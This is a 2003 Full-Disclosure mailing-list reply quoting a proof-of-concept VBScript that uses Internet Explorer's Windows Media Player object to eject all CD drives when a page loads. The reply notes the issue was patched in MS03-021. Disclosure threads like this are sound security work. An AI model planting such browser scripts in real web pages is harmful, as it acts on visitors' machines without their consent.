Re: Ejecting CDs with VBScript ( Online Exploit )

[jelmer <jkuperus () planet nl>]

they fixed it with MS03-021 alongside some other issues

http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/1765.html


----- Original Message ----- 
From: "Lorenzo Hernandez Garcia-Hierro" <lorenzohgh () nsrg-security com>
To: <full-disclosure () lists netsys com>
Cc: <bugtraq () securityfocus com>
Sent: Friday, October 10, 2003 11:12 PM
Subject: [Full-disclosure] Ejecting CDs with VBScript ( Online Exploit )


> Hi friends,
> I'm not very happy with this , i have done an online test for eject cds in
a
> MS Internet Explorer
> and i have tested it in all the computers of my house but i was surprised
> when i checked that the
> last version of MSIE allows the execution of the script in the following
> sec. zones:
>             . LOCAL/INTRANET
>             . REMOTE/INTERNET
> I tested it in default values and the exploit is executed , i edited the
> values and again it was
> executed.
> Am i discovering a new vulnerability in MS Internet Explorer ?
> I'm not sure because there are lots of known holes in MSIE.
> Suggestions and help is completely welcome.
> The best regards,
> PS: This is the code of the exploit:
> -----------------
> <SCRIPT LANGUAGE=VBSCRIPT>
> rem --------------------------------------
> rem No Secure Root Group Security Research
> rem    Coder: Trulux / Lorenzo Hdez G-H
> rem --------------------------------------
> rem    http://www.nsrg-security.com
> rem --------------------------------------
> rem -> CREATE WINDOWS MEDIA PLAYER OBJECT
> rem -
> Set LARRYINTHEWILD = CreateObject("WMPlayer.OCX.7" )
> rem -
> rem -> SETTING SOME VARIABLES FOR EJECT CD UNITS
> rem -
> Set RIAAsaysBLAH = LARRYINTHEWILD.cdromCollection
> rem -
> rem -> EJECTING ROUTINE
> rem -
> if RIAAsaysBLAH.Count >= 1 then
> For i = 0 to RIAAsaysBLAH.Count - 1
> RIAAsaysBLAH.Item(i).Eject
> Next ' cdrom
> End If
> rem -> END
> </SCRIPT>
> --------------
>
> NOTE: i don't know if this is a known security hole  , if this was
> discovered before , i'm sorry ( and a little sad :-(  ).
> you can test it online:
> http://test-zone.nsrg-security.com/browser/msie/cdrom
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html